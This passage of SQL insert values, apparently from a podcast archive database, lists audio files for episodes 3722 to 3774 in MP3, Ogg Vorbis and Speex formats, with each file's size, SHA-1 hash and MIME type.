(3722,'hpr3722.spx','spx',2243934,'28dd1bb28b1c0c9e094a45c5b9dcc82d3000ab09','application/ogg; charset=binary','Ogg data, Speex audio'),
(3723,'hpr3723.mp3','mp3',6427675,'e29ed1c2ad2b40698b9561dbf29c193e8e47bbf7','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3723,'hpr3723.ogg','ogg',9052255,'3ec1c528682a479b29dcf65988094b1f96ecf793','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3723,'hpr3723.spx','spx',3034297,'214f3b5fe95a551563f0ba5d54977c2af3808fc1','application/ogg; charset=binary','Ogg data, Speex audio'),
(3724,'hpr3724.mp3','mp3',5279508,'74bb8419351f411dacab4af6ae2a05427d719e4b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3724,'hpr3724.ogg','ogg',7001450,'e25e92bdb52d524d0c9b28734241f5d5fcb282e4','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3724,'hpr3724.spx','spx',2492202,'2cc9a2fe6c0879755b03d4f1269bdc95ff43b443','application/ogg; charset=binary','Ogg data, Speex audio'),
(3725,'hpr3725.mp3','mp3',1639637,'6513a1a5a6da18e3f10eb570a0c9b45e33d4d652','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3725,'hpr3725.ogg','ogg',2319039,'d87700de9ed27158f0ede534a37068b1b0710fb7','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3725,'hpr3725.spx','spx',773732,'df2955ce4aaa373f9cb3873c68dd3449077bcd9f','application/ogg; charset=binary','Ogg data, Speex audio'),
(3726,'hpr3726.mp3','mp3',2661445,'96bdc105618487c1f61ea642599bfad6955603fd','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3726,'hpr3726.ogg','ogg',3810511,'ef384906cfbea6f7dea7ce9cd48302e016d3e137','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3726,'hpr3726.spx','spx',1256122,'cdccff8c546a29823527b0c6bd67f4cf72e5d64c','application/ogg; charset=binary','Ogg data, Speex audio'),
(3727,'hpr3727.mp3','mp3',12492818,'bf41309b519820bfd19e6a21d27aa963829fd7d3','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3727,'hpr3727.ogg','ogg',15656009,'9d38447c16e4ef7f6e87cae7e0a2d9a95d84f833','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3727,'hpr3727.spx','spx',5897768,'9e79d4be50b0dccc2204a8364943538f6f5865da','application/ogg; charset=binary','Ogg data, Speex audio'),
(3728,'hpr3728.mp3','mp3',23988403,'09e3e1ee095c95ff8e2df86f29643ed4fc9ceaa6','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3728,'hpr3728.ogg','ogg',34983353,'b17675fdf8ce45d07ce531e6460bfca6f9bd4dfe','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3728,'hpr3728.spx','spx',11325061,'52ef13d986fd2a536baa8300f3c24a18ed731e71','application/ogg; charset=binary','Ogg data, Speex audio'),
(3729,'hpr3729.mp3','mp3',7961025,'d6e28803e792eb162e64053cb4f8cc6ad45ec62f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3729,'hpr3729.ogg','ogg',11119500,'b57204692a7cd138ae1f00baa5fcd9c9c47c5606','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3729,'hpr3729.spx','spx',3758142,'0fb3f021c76ce6fd4a25403492719b4cf8901265','application/ogg; charset=binary','Ogg data, Speex audio'),
(3730,'hpr3730.mp3','mp3',7516851,'8fa54502fa07bfc3e8655c06222434a42f95e8d2','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3730,'hpr3730.ogg','ogg',10887889,'d49f9b75482a4f12a61c686fec29bc5cf2d72b7a','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3730,'hpr3730.spx','spx',3548554,'2e0e1534861e1d1632a93728be952f2cb870d191','application/ogg; charset=binary','Ogg data, Speex audio'),
(3731,'hpr3731.mp3','mp3',3307537,'ee1c6f2a67a4251a776009ea831bcf0b403cb6dd','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3731,'hpr3731.ogg','ogg',4762136,'23ef44a9c6ec3b31f67fd68e11df561848ab3630','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3731,'hpr3731.spx','spx',1561171,'e1fdc9aa9e4143bdb9c12ce7fa3eb8e004fa77bf','application/ogg; charset=binary','Ogg data, Speex audio'),
(3732,'hpr3732.mp3','mp3',16461245,'3da15488a4d96031ecc060c50316bee4c2617838','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3732,'hpr3732.ogg','ogg',21921271,'347a4f4b63939e990c8ae88b4a7bd4bad31a03fd','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3732,'hpr3732.spx','spx',7771364,'09e5771e291842e098ff874b16b86d77f9e0452c','application/ogg; charset=binary','Ogg data, Speex audio'),
(3733,'hpr3733.mp3','mp3',14553871,'458d059efcc8aa8586f1736eb7f2f78e97c0f71e','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3733,'hpr3733.ogg','ogg',20695366,'b1e03457caedf8161854192339983324a05d8e25','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3733,'hpr3733.spx','spx',6870892,'5e34d0437cdcd288f27365ac8a315e07a5bf607b','application/ogg; charset=binary','Ogg data, Speex audio'),
(3734,'hpr3734.mp3','mp3',8717889,'e7cb9d1965cb50995bc57a4edef1b5536de77f86','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3734,'hpr3734.ogg','ogg',12636330,'b55e3b413752e41a4f67099121c2c897383ebc5f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3734,'hpr3734.spx','spx',4115607,'371c5e26c279c484927fea09327c6b26141ada25','application/ogg; charset=binary','Ogg data, Speex audio'),
(3735,'hpr3735.mp3','mp3',8274158,'d400ab75e00a837d53dc456e8e34f5472255135f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3735,'hpr3735.ogg','ogg',11883407,'60f99044b08de1ca5e992450af5711303a484b33','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3735,'hpr3735.spx','spx',3906053,'fbadde9f0c41c0f28326d05e6fc52f9c00f056c1','application/ogg; charset=binary','Ogg data, Speex audio'),
(3736,'hpr3736.mp3','mp3',6270405,'ca2d25fdd27cac82273628b2709875964cf7471f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3736,'hpr3736.ogg','ogg',9171304,'7692342849e5e2ad055dbe22428ad06a7134d06d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3736,'hpr3736.spx','spx',2960010,'81d1b78beafbcb5714cdf3401fc32ee93d664fc9','application/ogg; charset=binary','Ogg data, Speex audio'),
(3737,'hpr3737.mp3','mp3',6310761,'d575af5297c0296dcf155f9e1e9c14e54912a97b','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3737,'hpr3737.ogg','ogg',8438613,'6667314b67f2031c4f1c9a87ce8308009691661c','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3737,'hpr3737.spx','spx',2979081,'44c73fd7285a23c61f3d05af90a702001524022a','application/ogg; charset=binary','Ogg data, Speex audio'),
(3738,'hpr3738.mp3','mp3',2107838,'6138a9c8f69907f219dfaf6b18dafed8607e7e9f','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3738,'hpr3738.ogg','ogg',2922399,'4ab98878e1527cdd481ed0a11c49ebd2db80adc3','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3738,'hpr3738.spx','spx',994763,'5b44140f68271a6905648892c6bc404f93d8df58','application/ogg; charset=binary','Ogg data, Speex audio'),
(3739,'hpr3739.mp3','mp3',13342426,'d8069c015361290f299bc511524992abb23af361','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3739,'hpr3739.ogg','ogg',18359579,'66f4531a155db34f9d0b9be2cb81cb8463d921b0','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3739,'hpr3739.spx','spx',6298888,'6beaa591eda9d6cca13628bcda8f8f6a2cf5448c','application/ogg; charset=binary','Ogg data, Speex audio'),
(3740,'hpr3740.mp3','mp3',6486460,'f4959e28ceb387536ec3e02cc14c9e0c8b0903b1','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3740,'hpr3740.ogg','ogg',9413523,'a25c03edec1f774edbb3119fd6920213fa84462b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3740,'hpr3740.spx','spx',3062144,'f40e4cf82a333f598a4b3979e064c8c46364be95','application/ogg; charset=binary','Ogg data, Speex audio'),
(3741,'hpr3741.mp3','mp3',26857684,'71df2f3faabbdec46eb611d57117247cd842dde9','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3741,'hpr3741.ogg','ogg',36779390,'598689d621effcf0559d2fc721fb80978e214a1c','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3741,'hpr3741.spx','spx',12679735,'796c0e3cb423405597795d8974bf4c655892c1c9','application/ogg; charset=binary','Ogg data, Speex audio'),
(3742,'hpr3742.mp3','mp3',5658887,'ce5b184f5cb80e2b7ed6a9bbce74be5daf6ed4f6','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3742,'hpr3742.ogg','ogg',7702293,'c5fd3486429da41f656b46ad3cbcd9313aa8d515','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3742,'hpr3742.spx','spx',2671310,'ce43a1c3c883488cfb2d31b6fbd12364390e814f','application/ogg; charset=binary','Ogg data, Speex audio'),
(3743,'hpr3743.mp3','mp3',5247067,'79b3f7026319467e9d61a3ba8d51c7087c57e5d5','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3743,'hpr3743.ogg','ogg',7542020,'e646acf2300dd4fe8087b3f4bfb18cf1db76de29','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3743,'hpr3743.spx','spx',2476876,'896c4b460b0d1e1cfc2e656e3ab96405f3d04314','application/ogg; charset=binary','Ogg data, Speex audio'),
(3744,'hpr3744.mp3','mp3',3113004,'e449bc2dd5131238a7a5e8257fc786306fc80c52','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3744,'hpr3744.ogg','ogg',4509166,'aa5f60b40f103317b9719bc4cb7798c121bb602f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3744,'hpr3744.spx','spx',1469334,'eb11639c2173fc0a1450f0f36bf308346bd0e249','application/ogg; charset=binary','Ogg data, Speex audio'),
(3745,'hpr3745.mp3','mp3',4846378,'2b49d04f4e701f8369210b259708f464ea1f8669','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3745,'hpr3745.ogg','ogg',6974958,'c47820d9ea47483c70611c28a1fceaa5a2881e1d','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3745,'hpr3745.spx','spx',2287666,'99afc1819b9dd2ee82a2399b4dd23b812d7f5212','application/ogg; charset=binary','Ogg data, Speex audio'),
(3746,'hpr3746.mp3','mp3',7801211,'3a7fb3a03bcb7311c5eb96a1f233b212cebf7cf7','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3746,'hpr3746.ogg','ogg',11502880,'dc2ab6d9f877fd90533dd216eaa4a4a887a05463','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3746,'hpr3746.spx','spx',3682682,'2c20a0268f78926ad0c4dd87b5666f324b3f8558','application/ogg; charset=binary','Ogg data, Speex audio'),
(3747,'hpr3747.mp3','mp3',13560501,'6dafc8325b5ca5f046beee8893c0452eb024439a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3747,'hpr3747.ogg','ogg',18892946,'291e7ca62189919bb9d8538de284b723e7097e58','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3747,'hpr3747.spx','spx',6401880,'7c738156838a7c93923391555f12433835437621','application/ogg; charset=binary','Ogg data, Speex audio'),
(3748,'hpr3748.mp3','mp3',5200251,'55dc12b59efc3822f2276b833b31a913dba98539','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3748,'hpr3748.ogg','ogg',7398181,'0f52c9909c7bd786083d5872e8486caa9ab92913','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3748,'hpr3748.spx','spx',2454696,'e206b2f2d864ce6e143850e59960e9710d9e3913','application/ogg; charset=binary','Ogg data, Speex audio'),
(3749,'hpr3749.mp3','mp3',7492172,'b3dae8966662b420c26d9ae5259edf861169fb73','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3749,'hpr3749.ogg','ogg',10431034,'7ebbe18e10fdc4acc3144333902484bb020722db','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3749,'hpr3749.spx','spx',3536837,'4d447137c7157fcf3857c5b22e4976e0e644f591','application/ogg; charset=binary','Ogg data, Speex audio'),
(3750,'hpr3750.mp3','mp3',8829190,'587416c977aadcb11fc3693295cc07555836a258','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3750,'hpr3750.ogg','ogg',12816682,'8be41ec5ad0681e1b317a5de3907fb3009ed4ad0','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3750,'hpr3750.spx','spx',4168151,'e4dab8a360742073d93057f7c98114586db07c58','application/ogg; charset=binary','Ogg data, Speex audio'),
(3751,'hpr3751.mp3','mp3',4062285,'fa4f5200f3482e69394d9a73dc90298637e09b86','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3751,'hpr3751.ogg','ogg',5631938,'d9d2a306bbaafeae707d5a1e416d565740b3e40b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3751,'hpr3751.spx','spx',1917480,'dc389a3a832418eca45f50bae041448274841907','application/ogg; charset=binary','Ogg data, Speex audio'),
(3752,'hpr3752.mp3','mp3',5307585,'d57a743c29f6ab471a09d65a1fff53c4ceef9ec1','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3752,'hpr3752.ogg','ogg',7448152,'e3035002057f00717fc31d5816a15b3eb0916c6f','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3752,'hpr3752.spx','spx',2505480,'f4c0a51b4257283c434d7bd8f82de45dd16ef2d5','application/ogg; charset=binary','Ogg data, Speex audio'),
(3753,'hpr3753.mp3','mp3',6376654,'897334a1230cac29bc28a6216b5710b077f52003','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3753,'hpr3753.ogg','ogg',8991853,'dd66348d2de08f17b4d687930b0c6b7809227add','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3753,'hpr3753.spx','spx',3010159,'9e2c188fabd804c112347efbbceab1f7d15e7c9c','application/ogg; charset=binary','Ogg data, Speex audio'),
(3754,'hpr3754.mp3','mp3',18653317,'617754121c404975c511cc8f108bf73ab525ece3','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3754,'hpr3754.ogg','ogg',25668873,'f48be2cdd2d6ffd2bf51043bf7ce2e8f35a3610c','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3754,'hpr3754.spx','spx',8806345,'9c6e27f5fa006091dc73c3cee439d6f1dcc030dc','application/ogg; charset=binary','Ogg data, Speex audio'),
(3755,'hpr3755.mp3','mp3',12611233,'d819e0b806ccb47cfbd2a9d74cfd44caeb4479a4','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3755,'hpr3755.ogg','ogg',16036062,'96881facbb23fdf175ecf0b753eb25dd907839e9','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3755,'hpr3755.spx','spx',5953624,'8e46c9a10dbdb5ef8640a87dbf8fb73cd05de7da','application/ogg; charset=binary','Ogg data, Speex audio'),
(3756,'hpr3756.mp3','mp3',16169986,'e4ac0b1e44dca641e632f5d950c7546c16b84f47','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3756,'hpr3756.ogg','ogg',23868770,'59a9055f88c5f39f2dded3efd8eb47ed1b41c140','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3756,'hpr3756.spx','spx',7633795,'d3cb801db40f303c35dab3fab10bcf062aafb4d5','application/ogg; charset=binary','Ogg data, Speex audio'),
(3757,'hpr3757.mp3','mp3',13649181,'8023434e93a30a514f9f2e391aa4ff614c2681eb','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3757,'hpr3757.ogg','ogg',19908777,'befd764161b6ca63a34c590dcd5943110545b1fd','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3757,'hpr3757.spx','spx',6443703,'7eb7e09124ba242ff134399f470a4e8f0d2c008f','application/ogg; charset=binary','Ogg data, Speex audio'),
(3758,'hpr3758.mp3','mp3',14131505,'95a125c22da3eee63f81df4ecd4c0634922daaf8','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3758,'hpr3758.ogg','ogg',20854486,'7b275086e984adc4609c35da379437dd31c5fd81','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3758,'hpr3758.spx','spx',6671420,'b3be8da285222b83f8c8d76b6b1caaead846b1b2','application/ogg; charset=binary','Ogg data, Speex audio'),
(3759,'hpr3759.mp3','mp3',21682081,'921cb56b4fde0c3da0dc01f11feda2dc399574ac','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3759,'hpr3759.ogg','ogg',30168792,'f054497f7aaf8769bdfbbf23c096777299f7a2ee','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3759,'hpr3759.spx','spx',10236217,'45997cc4892600fd7b53cebd72f1b164c9e43b57','application/ogg; charset=binary','Ogg data, Speex audio'),
(3760,'hpr3760.mp3','mp3',7249450,'cec5f07fd248f30353e35585fe57f8f125cec2ca','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3760,'hpr3760.ogg','ogg',10430329,'1ed1837c804d3139c0d9f6394d2fe42925ca34de','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3760,'hpr3760.spx','spx',3422291,'1162aefa16e9f7bf83f2af6a05cac1b416eada9c','application/ogg; charset=binary','Ogg data, Speex audio'),
(3761,'hpr3761.mp3','mp3',22215700,'df0b8248b1177518ff922499f0829e5196c8df49','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3761,'hpr3761.ogg','ogg',30747844,'244eefc61579d57689495c23d2538e17505083da','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3761,'hpr3761.spx','spx',10488175,'65d5390ce0bd2d1efaea3e51ebcf52cf4574d283','application/ogg; charset=binary','Ogg data, Speex audio'),
(3762,'hpr3762.mp3','mp3',11282351,'44a9f3684c35795291af92f7810dd9a27609bc57','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3762,'hpr3762.ogg','ogg',15616281,'54c818122b767052fc5b3dac4c861eae9b3e1730','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3762,'hpr3762.spx','spx',5326292,'bf03892cc880916481985ede8989aef6500a64fb','application/ogg; charset=binary','Ogg data, Speex audio'),
(3763,'hpr3763.mp3','mp3',6784611,'f46bdd4ddbfd5c4c70d4de860b0dfc4d8fe82cca','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3763,'hpr3763.ogg','ogg',9257435,'d3db2bf408437a7cf9ea34e56dcc9861108776b8','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3763,'hpr3763.spx','spx',3202743,'d23cfb39134a9047ef264baa719aeb6fa4d9999e','application/ogg; charset=binary','Ogg data, Speex audio'),
(3764,'hpr3764.mp3','mp3',9860509,'6e77b80b438100cfd18bcf6f4ad00c7430bdc6a7','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3764,'hpr3764.ogg','ogg',14045843,'f52cf62f138c845da83a8348a337894b617b1d35','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3764,'hpr3764.spx','spx',4655071,'6283530be2aedcb987ae27b746bca546ccee2658','application/ogg; charset=binary','Ogg data, Speex audio'),
(3765,'hpr3765.mp3','mp3',7236053,'62945dae71e4b8268188240750c5e6c6d461d05d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3765,'hpr3765.ogg','ogg',9947639,'3e8f63c04752edaa45fe203242c32e6a530160f4','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3765,'hpr3765.spx','spx',3415907,'33173f2eabb215d019babb4a12f6c8ba98afac69','application/ogg; charset=binary','Ogg data, Speex audio'),
(3766,'hpr3766.mp3','mp3',5352272,'2ae7da6923e3d22c02157e7b686ede46a95ee049','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3766,'hpr3766.ogg','ogg',7344941,'6f4bf7d7c3df030aaa73966cf226e2ac0b0b92a4','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3766,'hpr3766.spx','spx',2526566,'eac45aaec4d928a82e111877c245958474397277','application/ogg; charset=binary','Ogg data, Speex audio'),
(3767,'hpr3767.mp3','mp3',21140292,'c663013c5d1ee6aa30499c9b0106008ab9c76cb9','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3767,'hpr3767.ogg','ogg',30185132,'7c30a2f01c7a1e36921e266cb2df60353dd67f48','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3767,'hpr3767.spx','spx',9980466,'644eaa56957657b61b9647e3b05ce876ac1719d5','application/ogg; charset=binary','Ogg data, Speex audio'),
(3768,'hpr3768.mp3','mp3',5696154,'a9a2a53c366ced3f61ce9ab15fb7106fccf55674','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3768,'hpr3768.ogg','ogg',7642590,'78adbf8074044a8669f224aa972f39f431686c7b','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3768,'hpr3768.spx','spx',2688912,'9390ee9d7fb595bd3b7c6d1e0e1d7722ebd0e9ad','application/ogg; charset=binary','Ogg data, Speex audio'),
(3769,'hpr3769.mp3','mp3',7332013,'a88f1fcad2caff09e0df0e0e60fa4c0ea7432580','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3769,'hpr3769.ogg','ogg',9901260,'ee8a1bf4a0f1733a6ac5615009d14b7ba45526c4','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3769,'hpr3769.spx','spx',3461266,'38af6444f8a9e3279a1e0b51dbbc94e34dc077b2','application/ogg; charset=binary','Ogg data, Speex audio'),
(3770,'hpr3770.mp3','mp3',7911256,'6c3751a12f78d426679de9f119cabd0253a6c75d','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3770,'hpr3770.ogg','ogg',11410930,'a82edbb6848fcb1d9dc04d603e94eabacc709140','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3770,'hpr3770.spx','spx',3734789,'f66dcdb10d83725dff13513a23c0e7e133191e09','application/ogg; charset=binary','Ogg data, Speex audio'),
(3771,'hpr3771.mp3','mp3',10153304,'bfcdad47d9c701b956f77efd19e9f1a179c7ffe0','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3771,'hpr3771.ogg','ogg',14309377,'fae22d2fe700366e5b0d46ccb8e2497396bbaa82','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3771,'hpr3771.spx','spx',4793213,'29df86eb8ab1df76f8f0946fb03de593589be444','application/ogg; charset=binary','Ogg data, Speex audio'),
(3772,'hpr3772.mp3','mp3',13956252,'f212b7d537db0ce9388a678261a1920e3019e52a','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3772,'hpr3772.ogg','ogg',19427789,'8142c0d24d6f124f06a5340ecf601141a0035484','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3772,'hpr3772.spx','spx',6588669,'b51c9b7c598908771e5c150d9af0583cdf26c1af','application/ogg; charset=binary','Ogg data, Speex audio'),
(3773,'hpr3773.mp3','mp3',9092658,'fc6d3b86b86ab6616612a104ca80275f86876f2c','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3773,'hpr3773.ogg','ogg',12449081,'3b32e708f3b514b95ad07e96d9d7ec33cea2c857','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3773,'hpr3773.spx','spx',4292436,'08311b9e2c6bdbe3f92610c886a05deef90113b4','application/ogg; charset=binary','Ogg data, Speex audio'),
(3774,'hpr3774.mp3','mp3',12651377,'929d4ac3b87d67c89a272bdba70224b35f829b95','audio/mpeg; charset=binary','Audio file with ID3 version 2.4.0MPEG ADTS, layer III, v1,  64 kbps, 48 kHz, Monaural'),
(3774,'hpr3774.ogg','ogg',16958498,'2713a7e18683ec67e02a1ed3e916456b8fda1777','application/ogg; charset=binary','Ogg data, Vorbis audio, mono, 192000 Hz, bps'),
(3774,'hpr3774.spx','spx',5972600,'1ff6b75b4436fe655ff62d54e99e653a825e40d4','application/ogg; charset=binary','Ogg data, Speex audio'),
